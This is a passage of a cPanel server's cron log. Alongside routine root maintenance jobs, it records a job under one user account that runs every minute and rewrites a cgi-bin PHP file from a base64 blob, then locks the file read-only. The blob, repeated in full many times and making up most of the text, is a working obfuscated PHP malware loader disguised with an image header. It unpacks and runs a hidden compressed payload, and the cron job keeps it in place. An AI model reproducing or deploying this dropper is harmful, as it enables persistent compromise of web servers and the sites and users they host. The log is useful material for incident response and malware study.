FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:55:01 server CROND[29357]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:55:01 server CROND[29356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:56:01 server CROND[29586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:57:01 server CROND[29658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:57:01 server CROND[29659]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 19:58:01 server CROND[29724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:59:01 server CROND[29789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:00:01 server CROND[29850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:00:01 server CROND[29852]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 20:00:01 server CROND[29853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 20:00:01 server CROND[29855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:00:01 server CROND[29856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:01:01 server CROND[29985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:01:01 server CROND[29986]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 20:01:01 server run-parts(/etc/cron.hourly)[29986]: starting 0anacron
Apr 10 20:01:01 server run-parts(/etc/cron.hourly)[29998]: finished 0anacron
Apr 10 20:02:01 server CROND[30155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:03:01 server CROND[30223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:04:01 server CROND[30291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:05:01 server CROND[30379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:05:01 server CROND[30380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 20:05:01 server CROND[30383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:05:01 server CROND[30384]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 20:05:01 server CROND[30385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:06:01 server CROND[30512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:07:01 server CROND[30581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:08:01 server CROND[30735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:09:01 server CROND[30799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 